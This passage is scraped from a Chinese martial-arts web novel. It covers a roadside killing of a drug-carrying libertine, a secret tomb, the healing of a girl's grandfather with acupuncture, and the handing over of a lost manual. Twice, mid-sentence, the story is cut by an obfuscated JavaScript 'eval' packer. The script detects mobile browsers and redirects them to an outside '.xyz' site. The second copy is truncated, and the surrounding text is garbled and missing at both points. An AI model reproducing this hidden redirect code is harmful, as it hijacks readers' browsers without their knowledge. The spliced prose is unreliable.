“记不清了。”韩九摇头，眼中闪过一丝杀意，“不过今天手痒，让我来吧。” “那可不行，我也想活动活动。”沈化林活动了下手腕，发出咔咔的响声。 二人一边说笑，一边从马上跃下。魏衡见状不屑一笑，在他看来，这两个不起眼的随从根本不足为惧。 然而下一刻，韩九一掌拍出，掌风呼啸，与一名手下对击。 “砰！” 那手下瞬间四分五裂，鲜血染红了官道。其他人还未反应过来，沈化林也已出手。 转眼间，又一名手下倒地，脖子以一个诡异的角度扭曲着。 剩下的人这才意识到大事不妙，脸上的狞笑瞬间凝固。但为时已晚，沈化林和韩九的身影如鬼魅般穿梭，每一击都带着致命的杀机。 魏衡终于明白自己踢到了铁板。他面如土色，想要调转马头逃跑，却发现双腿发软，再也没有了方才的嚣张气焰。 “魏衡，快跑！” 惊慌失措的喊声在山谷间中回荡，魏衡这才如梦初醒般回过神来。他的脸色瞬间变得惨白，额头上冷汗直冒，双腿不受控制地微微发颤。几个仆人挡在魏衡身前，但他们的身体都在微微发抖，显然也被眼前的阵仗吓破了胆。 “想跑？”沈化林冷冷一笑，眼中闪过一丝不屑，“今天谁也救不了你。” 话音刚落，一道寒光闪过。几个仆人还没反应过来，就已经倒在了血泊之中。他们的眼睛睁得大大的，似乎到死都不敢相信事情会发展到这个地步。 “沈兄又抢先了。”韩九眉头微皱，语气中带着几分不满，“不过这个小畜生，得留给我来处置。” 他说着，大步向前，探手一抓。魏衡就像只被老鹰逮住的小鸡仔，毫无反抗之力地被提在半空中。 “饶……饶命！”魏衡声音颤抖，脸色惨白如纸，“我愿意给你们钱，你们想要多少都行！只求别杀我！” 他的裤裆已经湿了一片，散发出难闻的气味。这个平日里嚣张跋扈的浪荡公子，此刻就像只落水的老鼠，狼狈不堪。 秦烨站在一旁，冷眼看着这一切。月光下，他的眼神锐利如刀，面无表情地注视着挣扎求饶的魏衡。这种人渣，不配活在世上。 “公子？”韩九转头看向秦烨，眼中带着询问的意味。他手上的力道微微加重，魏衡发出一声痛苦的呻吟。 “这种人渣，留着何用？”秦烨淡淡开口，声音中没有丝毫感情波动。 “是！” 魏衡听到这话，如同被踩了尾巴的猫，拼命挣扎起来。他的双腿在空中乱蹬，嘴里发出绝望的哀嚎：“不要！我真的知道错了！我愿意……” 话还没说完，韩九已经随手一掌拍出。一道无形的气劲穿透了魏衡的心脏，鲜血如同喷泉般涌出。他的眼睛瞪得老大，似乎到死都不敢相信自己会有这样的下场。 第一百四十二章 臭名昭著 秦烨从马上下来，走到尸体旁。月光下，血迹在地上蔓延，散发出浓重的铁锈味。他在魏衡身上仔细搜索，很快找到了一个青瓷药瓶。瓶身上精致地刻着“迷魂散”三个字。 “迷魂散？”秦烨眉头微皱，手指轻轻摩挲着瓶身上的字迹。 “公子，这是缥缈宫的东西。”沈化林连忙解释道，声音中带着几分厌恶，“这帮人在江湖上臭名昭著，专门用这种药物祸害良家女子。看来他们是盯上了秦小姐。” 秦烨冷笑一声，将药瓶收入怀中。月光下，他的表情晦暗不明。 “公子，这……”韩九欲言又止，眼中闪过一丝疑惑。 “不过是味药罢了。”秦烨语气平淡，“对我来说挺香的。药本无罪，只是有些人用错了地方。” 处理完尸体，一行人继续赶路。夜色渐深，远处的云霄观若隐若现，笼罩在一层薄雾之中。 “到了！”秦韶华的声音突然变得雀跃起来，眼中闪烁着异样的光彩，“不过山路太陡，得步行上山了。” “无妨。”秦烨嘴角微扬，“把马拴在这里就好。能上山的都不是普通人，不会有人偷马的。” 沈化林和韩九领命去拴马，秦烨则和秦韶华沿着山路向上。山路崎岖，两旁杂草丛生，不时有夜风吹过，发出“簌簌”的响声。 “你常来这里？”秦烨看着轻车熟路的秦韶华，语气中带着几分好奇。 “嗯。”秦韶华点头，声音轻柔，“我快回家了。” “是吗？”秦烨若有所思地看了她一眼。 山路蜿蜒向上，越往上走，雾气越重。终于，一座古朴的道观出现在眼前。进入云霄观后，四周投来各种目光，有敌意的，也有好奇的。 秦烨环顾四周，很快就看出了这里的主事者。他上前拱手，语气恭敬：“这位道长，可否借道后山？” 巩明道长的目光在秦烨和秦韶华身上扫过，原本严肃的脸上竟露出慈祥的笑容：“公子和这位姑娘可以过去，后山路途畅通。” 这一幕让在场的江湖中人都惊呆了。他们面面相觑，显然没想到向来冷面相对的巩明道长，今天会对这两人如此和善。 “多谢道长。”秦烨再次拱手致谢。 “凭什么他们能进去撒野？”人群中突然传来一声不满的喊叫，“我们在这里等了这么久，凭什么让他们直接过去？” “有缘无缘，一言难尽。”巩明道长不耐烦地挥手，声音中带着几分不容置疑，“无缘者就别在这里浪费时间了。” 秦烨拉着秦韶华就要进去，沈化林和韩九也想跟上，却被巩明道长拦住：“二位且慢。” 沈化林拱手行礼，语气恭敬：“巩明道长，我二人是奉命保护那两位的，还请行个方便。” 山门前的空气凝滞了片刻，周围的香客们不约而同地放慢脚步，目光若有若无地瞥向这边。巩明道长身着一袭青灰道袍，神色平和地站在那里，仿佛一块不可撼动的顽石。 “不行。”他轻轻摇头，声音不疾不徐。 沈化林眉头微蹙，脸上浮现出一丝为难：“道长，我们也是奉命行事，若是……” “跟他废什么话！”韩九突然打断，不耐烦地从腰间掏出一块令牌，用手遮住大半，凑到巩明道长面前，“看清楚了没有？” 巩明道长目光在令牌上停留了一瞬，目露惊讶，但很快恢复如常。他轻轻推开令牌，嘴角挂着若有若无的笑意：“令牌我认得，但还是不行。不过二位尽管放心，他们在这里很安全。” 韩九脸色一沉，正要发作，沈化林及时拦住了他。“既如此，还请道长多加照看。”说着又是一揖。 “无妨，若二位需要休息，观中有空房。”巩明道长不卑不亢地回应。 这一幕让周围的香客们看得目瞪口呆。巩明道长平日里虽然和善，但从不轻易让外人入观。今日不仅放行了那对年轻男女，对他们的随从竟也如此客气，这实在令人费解。 此时，秦烨和秦韶华已经穿过山门，沿着蜿蜒的山路向上攀登。青石台阶高低错落，两旁古木参天，枝叶交错间洒下斑驳的阳光。 秦烨一边走一边打量四周地形，心中暗暗思索。这云霄观的位置确实巧妙，正好卡在通往后山的必经之路上。若是有人想要偷偷潜入后山，必定会被发现。 “韶华，当心些。”秦烨伸手扶了一下秦韶华，“这地方我们都不熟悉，还是小心为上。” 秦韶华轻笑一声，眼中闪过一丝狡黠：“有什么好担心的？这条路我走过不知多少遍了。”她的裙摆在山风中轻轻摆动，步伐轻盈得宛如山间的精灵。 “你来过这里？”秦烨一愣，脚步不由自主地停了下来。 “当然，不然巩明道长怎会放我们进来？”秦韶华回过头，眼中带着几分得意，“他可是看着我长大的。” 秦烨心中一震，这才意识到秦韶华的身份恐怕不简单。正想追问，突然看到前方山路上有两个熟悉的背影。 “韶华，你看那是不是武勇和沈飞雪？” 秦韶华顺着他的目光看了一眼，却摇头道：“我带你走另一条路。”不等秦烨发问，她已经拉着他拐入旁边的山林。 若非有她带路，这错综复杂的林间小径足以让人迷失方向。树影婆娑，枝叶沙沙作响，空气中弥漫着淡淡的草木清香。秦韶华的背影在斑驳的阳光下忽明忽暗，带着几分神秘的气息。 穿过一片修剪整齐的竹林，两人来到一面石壁前。青苔爬满了石壁的缝隙，藤蔓垂挂其上，若是不仔细看，根本发现不了这里有什么特别。 秦韶华熟练地在石壁上按动机关，轰隆一声，石壁缓缓移开，露出一条幽深的通道。潮湿的空气扑面而来，带着几分阴冷。 秦烨心中一震，这下几乎可以确定秦韶华的身份了——她多半就是那位守陵人的孙女。如此一来，获得功法的希望就大了许多。 “进来吧。”秦韶华的声音在幽暗中响起，带着一丝不易察觉的紧张。 进入通道后，秦韶华重新关上石门。秦烨打量着四周，这显然是人工开凿的密道，墙壁光滑平整，每隔一段距离就有一盏长明灯，工程之浩大，不知耗费了多少心血。 “这边走。”秦韶华轻车熟路地在前引路，脚步声在空旷的通道中回荡。 秦烨默默跟上，心中并无惧意。他相信秦韶华不会害他，而且经过这段时间的相处，他对这个看似天真烂漫实则深藏不露的姑娘，已经生出几分特别的情愫。 第一百四十三章 韶华爷爷 密道幽深曲折，时而上升时而下降。秦烨暗自记下路线，发现这密道的走向十分讲究，仿佛在按某种特定的规律盘旋。若是外人误入，怕是很难找到正确的方向。 “小心台阶。”秦韶华突然出声提醒。 秦烨应了一声，脚下更加谨慎。随着深入，他感觉空气中多了一丝清冷的气息，仿佛穿越时空，走入了一个与世隔绝的神秘空间。 秦韶华的脚步忽然放慢，轻声道：“前面就是目的地了。”她的声音有些颤抖，似乎在压抑着某种情绪。 秦烨心跳不由加快。他知道，自己即将揭开一个尘封已久的秘密，而这一切，都要感谢身边这个神秘的姑娘。 密道尽头出现一扇石壁，上面雕刻着繁复的纹路，在昏暗的光线下若隐若现。秦韶华停下脚步，回头看向秦烨，眼中闪过一丝复杂的神色。 “准备好了吗？”她轻声问道，声音里带着一丝不易察觉的犹豫。 秦烨深吸一口气，郑重点头：“准备好了。” 秦韶华伸手按在石壁上，指尖微微颤抖。她深吸一口气，仿佛下定了某种决心：“那就开始吧。” 面前是一面光滑的石壁，与周围粗糙的岩壁形成鲜明对比。秦烨眯起眼睛，仔细打量着这面可疑的石壁，手指轻轻抚过表面，感受着其中蕴含的玄机。 “这地儿藏了玄机吧？”秦烨轻声问道，声音在狭窄的空间内回荡。 秦韶华嘴角微扬，眼中闪过一丝赞许。这个男人的敏锐程度总是能让她惊讶，仿佛没有什么能逃过他的眼睛。 她缓缓伸手探入衣领，动作优雅而从容。秦烨的目光不由自主地追随着她的手势，多停留了几秒。 “不许看！”秦韶华察觉到他的目光，俏脸瞬间染上一层红晕，嗔怪地瞪了他一眼。那双明亮的眸子里带着几分羞恼，却又藏着一丝难以察觉的娇嗔。 秦烨轻笑着耸了耸肩：“又不是没见过。” 这句话让秦韶华的脸更红了，她咬着下唇，想起那次意外的遭遇。虽说确实被他看光过，但少女的矜持还是让她忍不住低声抱怨：“那也不行！你这人怎么这样……” 她从衣领中取出一枚古朴的钥匙，表面布满了岁月的痕迹。钥匙在微弱的光线下泛着暗淡的金属光泽，上面刻着繁复的花纹。秦韶华小心翼翼地对准石壁上一个不起眼的孔洞，将钥匙插了进去。 “咔咔”的机关声在寂静的空间内格外清晰，石壁缓缓转动，露出了背后隐藏的空间。一股略带寒意的气流从缝隙中涌出，带着某种令人心悸的压迫感。 一个宽敞的石室出现在眼前，里面站着一位枯瘦的老者。老者虽然身材不高，比秦烨矮了一个头，但那股凌厉的气势却让人不敢小觑。他身上穿着一件灰色长袍，面容沧桑却透着一股不怒自威的气势。 秦烨心中一紧，他敏锐地注意到老者额头上有一团诡异的黑气在不断萦绕，似乎在向四周蔓延。这股黑气给人一种不祥的预感，让他不由得提高了警惕。 老者原本警惕的目光在看到秦韶华的瞬间柔和下来，眼中闪过一丝欣慰和疼爱。 “韶华？”老者的声音有些沙哑，却充满了温情。 “爷爷！”秦韶华再也控制不住情绪，眼眶瞬间红了，几步冲上前扑进老者怀中。她的肩膀微微颤抖，显然是激动得说不出话来。 “咳咳……”老者轻咳两声，轻轻拍着孙女的后背。他仔细打量着秦韶华，确认她安然无恙后，目光转向一旁的秦烨。 瞬间，一股强大的气势如潮水般涌来。 秦烨只觉得胸口仿佛被一块巨石压住，呼吸变得异常困难。豆大的汗珠从额头滚落，他的双腿开始发软，但依然强撑着没有跪下。 “前辈……您这是……”他艰难地开口，声音中带着一丝颤抖。 “爷爷，别这样！秦烨是好人！”秦韶华急忙从老者怀中挣脱，焦急地解释道。她担忧地看着秦烨，生怕他承受不住这股压力。 “好人？”秦望山冷笑一声，声音中带着几分讥讽，“这世上好人可不多。” 他死死盯着秦烨，眼神锐利如刀：“韶华，你太单纯了。他怕是骗你来开门的吧？” “不是的爷爷，秦烨真的是好人。”秦韶华急得快哭了，“他救过我好几次，如果不是他，我可能已经……” 秦烨强忍着压力，艰难地说道：“前辈，我对韶华绝无恶意，来此之前甚至不知您的身份。若是存心不良，又何必冒着生命危险陪她来此？” “花言巧语。”秦望山冷哼一声，眼中闪过一丝寒芒，“韶华，赵马玄呢？” “赵哥挂了。”秦烨抢先回答，声音中带着一丝沉重。 秦韶华点头确认：“是的爷爷，赵兄死在芮容霄手上了。那天如果不是秦烨及时赶到……”说到这里，她的声音哽咽了。 “什么？”秦望山一惊，目光重新落在秦烨身上。他似乎没想到事情会是这样的发展。 秦烨赶紧解释：“前辈，我是和韶华一起来对付芮容霄的。那个人野心勃勃，已经开始肆意妄为，如果不加以阻止，后果不堪设想。” 秦望山的气势更盛了，秦烨只觉得浑身筋骨都在颤抖，仿佛随时会崩溃。冷汗浸透了他的衣衫，但他依然咬牙坚持着。 “就算我再狂妄，也不敢说能与前辈为敌啊。”秦烨苦笑道，“若真有歹意，又怎会主动送上门来？” “呵呵。”秦望山突然笑了，“看在韶华的份上，今日饶你一命。” “爷爷！”秦韶华不满地嘟起嘴，眼中带着几分委屈，“秦烨什么都没做错，您为什么这样对他？他明明是来帮我们的……” 秦望山看着孙女维护秦烨的样子，心中暗叹一声。这丫头，怕是已经对这小子动了心思。虽说这小子确实不错，但作为长辈，该有的试探还是要有的。 他瞥了眼秦烨：“小子，你最好对韶华好点。若是让我知道你欺负她……” “晚辈不敢伤害韶华。”秦烨已经快支撑不住了，额头上的青筋清晰可见，但眼神依然坚定。 “爷爷快住手！秦烨要撑不住了！”秦韶华急得眼泪都要掉下来了，她从未见过爷爷对谁这样过。 秦望山轻笑一声，终于收回了气势。 秦烨如释重负，大口喘着气，连忙拱手：“多谢前辈！” 秦韶华惊讶地看着秦烨，没想到他不但不怨恨，反而还道谢。这份胸襟和气度，让她心中泛起一丝异样的感觉。 “小子倒是懂事。”秦望山笑道，“比我这孙女强多了。” “哪里哪里。”秦烨恭敬道，“多谢前辈助我提升境界。” 第一百四十四章 助其突破 原来秦望山刚才不仅是在试探秦烨，更是在帮他突破。这种考验虽然危险，但对修炼者来说却是难得的机遇。 秦韶华这才恍然大悟，看着秦烨的眼神更加柔和了。她暗暗责怪自己刚才太过着急，没有看出爷爷的良苦用心。 秦望山的手掌轻轻一震，一股浑厚的气劲涌入秦烨体内。这股气劲如同春风化雨，在秦烨经脉中游走，将他体内郁结已久的瓶颈轻轻冲开。 经脉中传来阵阵暖意，秦烨只觉得浑身一轻，体内真气流转更为顺畅。他闭上眼睛，感受着体内的变化，竟是就这样突破到了四品境界。这份厚礼来得太过突然，让他一时间有些恍惚。 自从修炼七星养气诀以来，虽然进境神速，但在四品这道门槛前却始终无法寸进。每次修炼时都能感觉到那层若有若无的屏障，却怎么也无法突破。没想到今日竟然在秦望山的帮助下轻易突破了。 “多谢前辈成全。”秦烨深深一揖，声音中带着几分感激。 秦望山摆了摆手，目光中带着几分审视：“年轻人，你的根基太过虚浮，修行之道讲究循序渐进，欲速则不达。” 秦烨讪讪一笑，没有反驳。确实，他修炼的时日尚短，根基不够扎实。这一点他心知肚明，只是没想到会被秦望山一眼看穿。 “你这样的修炼速度，虽然看似进境神速，但实则是在透支自己的潜力。”秦望山轻叹一声，“若是继续这样下去，恐怕日后会留下不少隐患。” 秦烨低着头，默默听着。秦望山说的每一句话都说到了他的心坎上。这些天来，他确实感觉到身体有些不适，只是一直没有在意。 “爷爷！”秦韶华这时候开口了，声音中带着几分撒娇的意味，“我是特意带秦烨来给您看病的。” “看病？”秦望山眉头微皱，眼中闪过一丝无奈，“韶华啊，爷爷这病已经无药可医了，连周明德都束手无策，就不要再白费心思了。” “秦烨的医术很厉害的！”秦韶华急切地说道，双手不自觉地握紧，“您就让他试试吧。” 秦望山看了看自己这个宝贝孙女，又看了看秦烨。他能感觉到孙女眼中的期待，不忍心拒绝。 “也罢，既然韶华这么说，那你就给老夫诊治一番。”秦望山的语气中带着几分无奈。 秦烨点头上前，手指轻轻搭在秦望山的脉门上。随着真气的探入，他能清晰地感受到秦望山体内经脉的状况。 片刻之后，秦烨眉头紧皱：“前辈，您的经脉受损极为严重。” “哦？”秦望山眼中闪过一丝诧异，“你倒是有些本事，竟然能看出这些。” “三十六处经脉，您中了十二个卡点，应该是运功不当所致。”秦烨继续说道，手指在秦望山的手腕上轻轻移动，“但以大拿的境界，不应该出现这种情况才对。” 秦望山眼中精光一闪，目光变得凌厉起来：“小子，你倒是有几分真本事。不过，这病连周明德都说需要极为高明的针法才能医治，你怕是也无能为力。” “前辈不妨让我一试。”秦烨淡然一笑，眼中闪过一丝自信。 “你这年轻人，未免太过自负。”秦望山摇头，语气中带着几分不屑，“你修为尚浅，医术又能高明到哪里去？” “前辈说得对，我入武道确实才数月光景。”秦烨坦然承认。 “什么？”秦望山猛地坐直了身子，原本平静的面容上浮现出难以置信的神色，“才数月？” 秦韶华在一旁点头：“爷爷，秦烨说的是真的。我亲眼见证了他这几个月的进步。” 秦望山神色顿时变得凝重起来。数月就能达到四品境界，这等天赋，确实罕见。他活了这么多年，还从未见过如此妖孽的天赋。 “好吧，那就让你试试。”秦望山缓缓解开衣衫，露出了消瘦的上身。 当看到秦望山那消瘦如柴的身躯时，秦烨心中一震。老者的身体状况比他想象的还要糟糕得多。在瘦得不行的身板上，青筋暴露，经脉凸起，看起来触目惊心。 更让秦烨心惊的是，秦望山额头上隐隐透出的一缕黑气。这黑气若有若无，普通人根本看不见，但秦烨却能清晰感知到其中蕴含的诡异气息。这种气息他从未见过，但本能地感觉到一丝危险。 “前辈，您这情况……”秦烨欲言又止，手指轻轻搭上秦望山的脉门。 片刻之后，他的眉头皱得更深了。以秦望山的修为境界，不应该会出现如此严重的经络阻塞才对。这种情况，就像是被人强行打断了经脉，又勉强接续上那般。 秦韶华站在一旁，担忧地看着自己的爷爷。她知道爷爷这些年一直在硬撑，但最近的情况似乎变得更糟了。 “秦烨，你能帮爷爷看看吗？”秦韶华轻声问道，声音中带着几分恳求。 秦望山摆了摆手，目光中闪过一丝追忆：“丫头不必担心，这老毛病了。”他顿了顿，看向秦烨，“说来话长啊。” 秦烨在一旁的椅子上坐下，认真倾听。 “当年我追随东雄图时，有幸得到七星养气诀的功法。”秦望山的声音低沉，带着些许沧桑，“可惜被贼人夺去大半，只剩下残篇。” 秦烨听到这里，心中一动。七星养气诀，这可是赫赫有名的绝世功法，据说修炼到高深处，可以金刚不坏。 “后来……”秦望山的声音突然哽住，似乎想起了什么痛苦的往事，“后来为救我那孩儿，不得已强行突破，虽然成功了，但也落下了这一身的暗伤。” 秦韶华在一旁听得红了眼眶。她知道爷爷说的是父亲的事，那是她从未见过的至亲。 “这些年靠着功力勉强支撑，到底是老了，有些扛不住了。”秦望山苦笑着摇头，“尤其是最近……” “最近怎么了？”秦烨追问道。 秦韶华接过话头：“是那些闯入墨陵的人。”她的声音中带着一丝愤怒，“这些人为了寻找所谓的宝藏，不断闯入墨陵，爷爷不得不出手阻止。” 秦烨恍然大悟。难怪秦望山的伤势会突然加重，原来是因为不得不频繁出手。 “前辈放心。”秦烨站起身，从袖中取出一套银针，“既然遇到了我，定让您恢复如初。” 秦望山看着那闪着寒光的银针，眼中闪过一丝迟疑：“小友，我这伤势……” “前辈是担心我的医术不够？”秦烨微微一笑，“这套银针术，可是我的独门绝技。” 说着，他已经开始准备施针。每一根银针在他手中仿佛都有了生命，闪烁着微弱的光芒。 秦韶华看得入神。她还是第一次见到秦烨施展医术，那专注的神情，让她不由得看呆了。 第一针落下，秦望山身子微微一震。 “前辈可有不适？”秦烨问道。 秦望山摇头：“继续。” 第一百四十五章 成功医治 接下来的时间里，整个厅堂陷入了沉默。只有银针入肉的细微声响，偶尔打破这份宁静。 秦烨的额头渐渐渗出汗珠。这套针法对施术者的要求极高，稍有不慎，就可能适得其反。 秦韶华看得揪心，几次想说什么，却又忍住了。她知道，此时最重要的是不能打扰秦烨的专注。 一根根银针精准地刺入秦望山体内的各处穴位。每一针都在冲击着那些阻塞多年的经络，试图重新打通这些堵塞的通道。 秦望山紧闭双眼，额头也渗出细密的汗珠。但他始终一声不吭，仿佛对这种痛苦早已**以为常。 终于，最后一针落下。 秦烨缓缓吐出一口气，擦了擦额头的汗水。这一套针法，足足用了两个时辰。 “韶华，把他扶下去歇会儿。”秦望山叹道，语气中带着些许失望，“虽未成功，但他也尽力了。” “谁说没成功？”秦烨顿时不乐意了，这老头也太不相信人了。 秦望山一愣，下意识运转体内真气。 真气流转，畅通无阻。 那种困扰他多年的阻塞感，竟然消失了大半！ 他猛地睁大眼睛：“当真成功了？连神医周明德都未能治愈的顽疾，你竟然……” 秦烨连忙摆手：“前辈过誉了，我哪敢与神医相比。不过是擅长针灸之术罢了。” 秦望山站起身，活动了一下筋骨。虽然还能感觉到些许不适，但相比之前，已是天壤之别。 “多谢小友。”秦望山郑重其事地说道，“若非遇到你，老夫这伤怕是要一直忍着了。” 秦烨笑道：“前辈言重了，韶华的爷爷就是我的爷爷，这都是应该的。” 这句话一出，秦韶华顿时红了脸，低下头不敢看人。 秦望山干笑两声，目光在秦烨身上停留片刻，手指无意识地敲击着桌面。屋内的气氛一时有些凝滞，檀香袅袅升起，在空气中划出一道若有若无的轨迹。 “你对韶华，究竟是什么想法？”秦望山开门见山，语气里带着一丝不易察觉的试探。 这话来得突然，秦烨一时语塞。他下意识地攥紧了衣袖，指节微微发白。屋外传来几声鸟鸣，更衬托出此刻的尴尬。 “爷爷！”秦韶华俏脸微红，嗔怪地看向秦望山。她站在门边，手里还端着刚泡好的茶，茶香在空气中缓缓飘散。 秦望山轻咳一声，目光转向秦韶华：“去厨房准备些饭食，我饿了。” “可是……”秦韶华欲言又止，眼神不自觉地瞟向秦烨。 “去吧。”秦望山的语气不容置疑。 秦韶华咬了咬下唇，最终还是乖巧地点点头。临走时，她的目光在秦烨身上停留了片刻，眼神中带着几分不舍和担忧。 待秦韶华的脚步声渐渐远去，秦望山的目光陡然变得锐利起来，仿佛能穿透人心：“现在，回应我之前的问题。” 秦烨沉吟片刻，手指无意识地摩挲着茶杯边缘：“说实话，我对韶华确实有些好感。” “仅仅是好感？”秦望山眉头微皱，眼中闪过一丝不悦。 “若说喜欢……未免太过草率。”秦烨斟酌着用词，“我不想轻易许下承诺。” “韶华对你的心思，我看得出来。”秦望山叹了口气，目光中透着几分无奈，“这丫头从小就倔，认定的事情九头牛都拉不回来。” “这个……”秦烨有些局促地调整了一下坐姿。 “我可没跟你商量。”秦望山语气陡然转冷，眼神如刀般锋利，“韶华是我唯一的孙女。” 秦烨无奈，只得点头应下。秦望山这才露出一丝笑意，但眼底依旧藏着几分审视：“既然如此，待会你就带韶华离开吧。七日之后，这里必有一场血战，你们留在这里只会徒增危险。” “抱歉，我不能走。”秦烨摇头，语气坚定。 “为了天地大挪移？”秦望山眯起眼睛。 “是。” 秦望山眉头紧锁，手指在桌面上敲击的节奏变得急促：“为何人人都对这**如此执着？当年为了这**，死伤无数，难道历史还要重演吗？” “不是为了得到它。”秦烨正色道，身子微微前倾，“而是要阻止一个人得到它。” “谁？” “上官煜。” 这个名字一出，秦望山的表情瞬间凝重起来。 秦烨继续道：“他若得到此**，必会酿成大祸。我不能坐视不理。” “你说得对。”秦望山若有所思，目光变得深邃，“不过，就算他得到了也无用。” “此话怎讲？” “这里的天地大挪移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663472|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是残本，没有心法。”秦望山解释道，声音低沉，“单凭**，根本无法修炼。当年东雄图将**和心法分开保管，就是为了防止落入歹人之手。” 秦烨神色一凛：“就算如此，也不能让上官煜得到。万一他已经得到心法呢？” 这话让秦望山神色一变，手中的茶杯重重放在桌上，茶水溅出几滴。 确实，当年东雄图的好友带走了心法，如今下落不明，说不定已经落入上官煜之手。想到这里，秦望山的眉头皱得更深了。 “罢了。”秦望山长叹一声，起身走向内室，“既然如此，我带你去取**。” 穿过一道暗门，眼前是一间简陋的墓室。空气中弥漫着淡淡的檀香味，混合着些许潮湿的气息。正中石台上端坐着一具干尸，面容虽已模糊，但依稀能看出几分威严，想必就是东雄图了。 秦烨肃然行礼，内心不禁升起一丝敬意。 秦望山上前，从干尸前的木匣中取出一本古旧竹简。竹简边角有些破损，但整体保存完好。 秦望山竹简递向秦烨，苍老的手指微微颤抖。 “天地大挪移，你且收好。”秦望山的声音沙哑而低沉，眼中闪过一丝复杂的神色。 秦烨双手接过，指尖触及竹简时，一股难以言喻的悸动涌上心头。竹简上龙飞凤舞的几个大字在昏暗的光线下若隐若现，这可是江湖中失传已久的绝世武功，如今竟落入自己手中。 他的目光在竹简上流连，心跳不自觉地加快。这一刻，他仿佛看到了无数武林高手为之疯狂的绝世秘籍，就这样轻易地到了自己手中。 “晚辈感激不尽。”秦烨收敛心神，郑重其事地向秦望山行了一礼。 秦望山摆了摆手，目光深邃：“无需多礼，这本就是你应得的机缘。”他转身准备合上身旁的木匣。 秦烨忽然想起了什么，从兜里翻出一枚令牌。这令牌正是前些日子从端木**上搜出的青云教令牌，上面刻着“卧虎藏峰”四字，在烛光下泛着幽幽的冷光。 “前辈，这令牌可否放入木匣之中？”秦烨轻声问道，眼中闪过一丝狡黠。 秦望山接过令牌端详片刻，眉头微皱：“此物与青云教有关？” “正是。”秦烨点头，“想来上官煜迟早会找到这里，不如给他留个惊喜。” 第一百四十六章 匆匆下山 秦望山略显诧异，但并未阻拦。他将令牌放入木匣，轻轻合上。秦烨嘴角微扬，脑海中不禁浮现出上官煜找到这里，打开木匣却只看到一枚令牌的场景。那位高傲的上官公子，怕是要气得吐血吧？ 石室内一片寂静，只有火把偶尔发出的噼啪声。秦望山忽然开口：“你可知这天地大挪移的来历？” 秦烨摇头。 “此**乃是我秦家祖上与青霄峰一位前辈共同创出，讲究以柔克刚，借力打力。”秦望山缓缓说道，“但修炼此功需要极强的悟性，稍有不慎就会走火入魔。” 秦烨若有所思：“所以这些年来，能够练成此功的人寥寥无几？” “正是。”秦望山叹了口气，“我将此功传你，是看中了你的天赋，也是为了韶华。” 秦烨一怔：“为了韶华？” 秦望山没有直接回答，而是问道：“你可知韶华体内的剑气为何迟迟无法化解？” 秦烨摇头。秦韶华体内的剑气一直是个谜，即便是江湖上最负盛名的医者也束手无策。 “因为那剑气乃是阴寒之气，需要至阳之力才能化解。”秦望山目光灼灼地看着秦烨，“而你，体内阳气充盈，正好可以助她化解剑气。” 秦烨心中一震，难怪秦望山会将这等绝世武功传授给自己。原来一切都是为了秦韶华。 正在此时，秦韶华端着饭菜走了进来。看到二人的表情，她不由得停下脚步：“爷爷，秦大哥，你们在说什么？” “没什么。”秦望山转移话题，“时候不早了，你们该走了。” “走？”秦韶华一愣，“去哪里？” “跟着秦烨去汴城。”秦望山语气坚决，“这后山已经不安全了。” “不！”秦韶华放下饭菜，倔强地摇头，“我不走，我要留下来陪爷爷。” “韶华……” “爷爷，您别赶我走。”秦韶华眼眶瞬间红了，声音哽咽，“我知道您是担心我的安全，但我不能丢下您一个人在这里。” 秦望山叹了口气：“傻丫头，爷爷这把老骨头，早就看淡了。你跟着秦烨去汴城，才能有个好前程。” “可是……” “听话。”秦望山语气温和却不容置疑。 秦韶华泪如雨下，却终究点了点头。她知道，爷爷是为了她好。但离别的痛苦仍让她心如刀绞。 秦烨轻声安慰：“韶华，我答应你，等事情平息下来，我就陪你回来看爷爷。” 秦望山将二人送到山洞口。在启动机关关闭石门前，他深深地看了眼孙女，目光中满是不舍与关爱。 “保重。”这是他最后的叮嘱。 厚重的石门缓缓关闭，将祖孙隔开。秦韶华再也忍不住，默默垂泪。秦烨轻轻拍着她的肩膀，却不知该如何安慰。 秦烨牵着秦韶华的手，漫步下山。山路蜿蜒，竹月徐来，带着几分凉意，远处的云雾缭绕在山峰之间，宛如仙境。 枝叶沙沙作响，偶有鸟雀掠过，发出清脆的鸣叫。秦韶华的裙摆被风吹起，轻轻拂过秦烨的腿。她下意识地往秦烨身边靠了靠，脸颊微红。 “这山上的景色真美。”秦烨望着远处的云海，轻声感叹。 秦韶华眼中泛起温柔的笑意：“是啊，每到傍晚时分，晚霞映照在云海上，整座山都染上了金色。” “你从小就住在这里？”秦烨忍不住问道，目光落在她清丽的侧脸上。 “嗯。”秦韶华点头，眸中闪过一丝追忆，“从记事起就和爷爷住在这里。那时候我总喜欢在山间跑来跑去，采野花、追蝴蝶，爷爷总是担心我会摔倒。” 说到这里，她不禁莞尔：“有一次我真的摔倒了，膝盖都磕破了，爷爷急得差点要把整座山都翻过来。” 秦烨看着她脸上温暖的笑容，心中不由得一动：“那时候一定很无忧无虑吧？” “也不全是。”秦韶华摇摇头，“修行的日子并不轻松。每天天不亮就要起来打坐，然后跟着爷爷学习道法。有时候一个动作要练上千遍万遍，直到完全掌握为止。” 她抬起手，掌心凝聚出一缕青色的气息：“就像这剑气，我足足练了三年才有点眉目。” “三年前在青霄峰？”秦烨若有所思地问道。 秦韶华眼睛一亮：“对！那时候爷爷带我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正行至半途，道路突然被人拦住。一个白发老者站在路中，手持拂尘，笑眯眯地看着他们。 “这位公子请留步。”老者拱手道，声音温和。 